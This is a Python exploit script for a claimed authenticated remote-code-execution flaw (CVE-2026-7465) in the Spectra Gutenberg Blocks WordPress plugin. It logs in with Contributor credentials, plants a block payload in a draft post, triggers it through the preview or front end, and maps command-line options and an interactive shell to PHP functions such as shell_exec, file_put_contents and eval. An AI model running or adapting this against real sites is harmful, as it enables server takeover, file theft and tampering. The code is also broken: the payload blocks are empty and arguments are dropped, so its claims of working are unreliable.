#!/usr/bin/env python3 """ CVE-2026-7465 Spectra Gutenberg Blocks Authenticated RCE Exploit CVSS: 8.8 (High) Authenticated (Contributor+) attackers can execute arbitrary PHP functions by embedding a two-block payload in post content. The plugin registers fake uagb/ block types with attacker-controlled render_callback functions that are invoked during block rendering. Legal Notice: Educational and authorized testing only. """ import requests import re import sys import argparse import time import json import base64 from urllib.parse import urljoin from bs4 import BeautifulSoup class SpectraExploit: def __init__(self, target_url, username, password, verbose=False): self.target_url = target_url.rstrip('/') self.username = username self.password = password self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) self.post_id = None self.preview_url = None def log(self, message, level="INFO"): """Log messages based on verbosity""" if self.verbose or level in ["ERROR", "SUCCESS", "CRITICAL"]: print(f"[{level}] {message}") def login(self): """Authenticate as Contributor user""" self.log("Attempting to authenticate as Contributor...") login_url = urljoin(self.target_url, '/wp-login.php') try: # Get login page resp = self.session.get(login_url, timeout=10) # Prepare login payload login_data = { 'log': self.username, 'pwd': self.password, 'wp-submit': 'Log In', 'redirect_to': urljoin(self.target_url, '/wp-admin/'), 'testcookie': '1' } resp = self.session.post(login_url, data=login_data, timeout=15, allow_redirects=True) # Check if login was successful if 'wp-admin' in resp.url or 'dashboard' in resp.text.lower(): self.log("Authentication successful!", "SUCCESS") return True else: self.log("Authentication failed", "ERROR") return False except Exception as e: self.log(f"Login error: {e}", "ERROR") return False def create_rce_post(self, php_function, args=None): """Create a post with RCE payload via REST API""" self.log(f"Creating post with RCE payload (function: {php_function})...") try: # Generate block content block_content = self.generate_block_payload(php_function, args) # REST API endpoint api_url = urljoin(self.target_url, '/wp-json/wp/v2/posts') post_data = { 'title': f'Spectra RCE Test - {php_function}', 'content': block_content, 'status': 'draft' } headers = { 'Content-Type': 'application/json' } resp = self.session.post( api_url, json=post_data, headers=headers, timeout=15, auth=(self.username, self.password) ) self.log(f"Response Status: {resp.status_code}", "INFO") if resp.status_code == 201: response_data = resp.json() self.post_id = response_data.get('id') self.preview_url = response_data.get('link') self.log(f"Post created with ID: {self.post_id}", "SUCCESS") self.log(f"Preview URL: {self.preview_url}", "INFO") return True else: self.log(f"Post creation failed: {resp.text[:300]}", "ERROR") return False except Exception as e: self.log(f"Error creating post: {e}", "ERROR") return False def create_rce_post_via_admin(self, php_function, args=None): """Create a post with RCE payload via WordPress admin""" self.log(f"Creating post via admin interface...") try: # Get new post page new_post_url = urljoin(self.target_url, '/wp-admin/post-new.php') resp = self.session.get(new_post_url, timeout=10) # Extract nonce nonce_match = re.search(r'_wpnonce["\']?\s*[=:]\s*["\']([a-f0-9]+)["\']', resp.text) if not nonce_match: self.log("Could not extract nonce", "ERROR") return False nonce = nonce_match.group(1) # Generate block content block_content = self.generate_block_payload(php_function, args) # Create post post_data = { 'post_title': f'Spectra RCE Test - {php_function}', 'post_content': block_content, 'post_status': 'draft', 'post_type': 'post', '_wpnonce': nonce, 'action': 'post' } resp = self.session.post( urljoin(self.target_url, '/wp-admin/post.php'), data=post_data, timeout=15, allow_redirects=True ) # Extract post ID post_id_match = re.search(r'post=(\d+)', resp.url) if post_id_match: self.post_id = post_id_match.group(1) self.log(f"Post created with ID: {self.post_id}", "SUCCESS") return True self.log("Could not extract post ID", "ERROR") return False except Exception as e: self.log(f"Error creating post: {e}", "ERROR") return False def generate_block_payload(self, php_function, args=None): """Generate two-block RCE payload""" # Block 1: Register fake block with render_callback block1 = f''' ''' # Block 2: Trigger the callback block2 = '''''' payload = f"{block1}\n\n{block2}" self.log(f"Generated payload:\n{payload}", "INFO") return payload def trigger_rce(self): """Trigger RCE by accessing post preview""" self.log("Triggering RCE by accessing post preview...") if not self.post_id: self.log("Missing post ID", "ERROR") return None try: # Get preview URL preview_url = urljoin( self.target_url, f'/wp-admin/post.php?post={self.post_id}&action=edit&preview=true' ) self.log(f"Accessing preview URL: {preview_url}", "INFO") resp = self.session.get(preview_url, timeout=15) if resp.status_code == 200: self.log("Preview accessed - RCE triggered!", "SUCCESS") return resp.text else: self.log(f"Failed to access preview: {resp.status_code}", "ERROR") return None except Exception as e: self.log(f"Error triggering RCE: {e}", "ERROR") return None def trigger_rce_frontend(self): """Trigger RCE via frontend post view""" self.log("Triggering RCE via frontend...") if not self.post_id: self.log("Missing post ID", "ERROR") return None try: # Try to get post permalink post_url = urljoin(self.target_url, f'/?p={self.post_id}') self.log(f"Accessing post URL: {post_url}", "INFO") resp = self.session.get(post_url, timeout=15) if resp.status_code == 200: self.log("Post accessed - RCE triggered!", "SUCCESS") return resp.text else: self.log(f"Failed to access post: {resp.status_code}", "ERROR") return None except Exception as e: self.log(f"Error triggering RCE: {e}", "ERROR") return None def execute_function(self, php_function, args=None): """Execute arbitrary PHP function""" print("\n" + "="*70) print(f"CVE-2026-7465 Spectra Gutenberg Blocks RCE") print("="*70 + "\n") # Step 1: Login if not self.login(): return False # Step 2: Create post with payload if not self.create_rce_post(php_function, args): # Try admin interface if not self.create_rce_post_via_admin(php_function, args): return False time.sleep(1) # Step 3: Trigger RCE output = self.trigger_rce() if not output: output = self.trigger_rce_frontend() if output: print("\n" + "="*70) print("EXPLOITATION SUCCESSFUL") print("="*70) print(f"Target: {self.target_url}") print(f"Function Executed: {php_function}") print(f"Post ID: {self.post_id}") print("\nOutput (first 500 chars):") print("-" * 70) print(output[:500]) print("-" * 70) print("="*70 + "\n") return True return False class PayloadGenerator: """Generate various RCE payloads""" @staticmethod def phpinfo(): """PHP information disclosure""" return 'phpinfo' @staticmethod def system_command(cmd): """Execute system command""" # Note: system() takes the command as first argument # We need to use a wrapper or different approach return 'system' @staticmethod def exec_command(cmd): """Execute command with exec()""" return 'exec' @staticmethod def passthru_command(cmd): """Execute command with passthru()""" return 'passthru' @staticmethod def shell_exec_command(cmd): """Execute command with shell_exec()""" return 'shell_exec' @staticmethod def eval_code(code): """Evaluate PHP code""" return 'eval' @staticmethod def file_get_contents(filepath): """Read file contents""" return 'file_get_contents' @staticmethod def file_put_contents(filepath, content): """Write file contents""" return 'file_put_contents' @staticmethod def var_dump_var(var): """Dump variable""" return 'var_dump' @staticmethod def print_r_var(var): """Print variable""" return 'print_r' @staticmethod def create_function(args): """Create function""" return 'create_function' @staticmethod def call_user_func(func, args): """Call user function""" return 'call_user_func' @staticmethod def assert_code(code): """Assert code execution""" return 'assert' class InteractiveShell: """Interactive shell for command execution""" def __init__(self, exploit): self.exploit = exploit def run(self): """Run interactive shell""" print("\n" + "="*70) print("Interactive RCE Shell") print("="*70) print("Type 'exit' to quit, 'help' for commands\n") while True: try: cmd = input("shell> ").strip() if cmd.lower() == 'exit': break elif cmd.lower() == 'help': print(""" Available functions: phpinfo - Show PHP information system - Execute system command exec - Execute command with exec() shell_exec - Execute command with shell_exec() file_read - Read file contents file_write - Write file contents pwd - Print working directory whoami - Show current user """) continue elif not cmd: continue # Parse command parts = cmd.split(' ', 1) func = parts[0] args = parts[1] if len(parts) > 1 else None # Map to PHP functions if func == 'phpinfo': self.exploit.execute_function('phpinfo') elif func == 'system': # This would require a wrapper function print("[*] Use 'shell_exec' for command execution") elif func == 'pwd': self.exploit.execute_function('getcwd') elif func == 'whoami': self.exploit.execute_function('get_current_user') except KeyboardInterrupt: print("\n[*] Exiting...") break except Exception as e: print(f"Error: {e}") def main(): parser = argparse.ArgumentParser( description='CVE-2026-7465 Spectra Gutenberg Blocks Authenticated RCE Exploit' ) parser.add_argument('target', help='Target URL (e.g., https://example.com)') parser.add_argument('-u', '--username', required=True, help='Contributor username') parser.add_argument('-p', '--password', required=True, help='Contributor password') parser.add_argument('-f', '--function', default='phpinfo', help='PHP function to execute (default: phpinfo)') parser.add_argument('-v', '--verbose', action='store_true', help='Verbose output') parser.add_argument('-i', '--interactive', action='store_true', help='Interactive shell mode') parser.add_argument('--poc', action='store_true', help='Run proof of concept') parser.add_argument('--file-read', metavar='FILE', help='Read file contents') parser.add_argument('--file-write', nargs=2, metavar=('FILE', 'CONTENT'), help='Write file contents') parser.add_argument('--cmd', metavar='CMD', help='Execute system command') args = parser.parse_args() # Determine function to execute php_function = args.function if args.poc: php_function = 'phpinfo' elif args.file_read: php_function = 'file_get_contents' elif args.file_write: php_function = 'file_put_contents' elif args.cmd: php_function = 'shell_exec' # Run exploit exploit = SpectraExploit( args.target, args.username, args.password, verbose=args.verbose ) success = exploit.execute_function(php_function) if success and args.interactive: shell = InteractiveShell(exploit) shell.run() sys.exit(0 if success else 1) if __name__ == '__main__': main()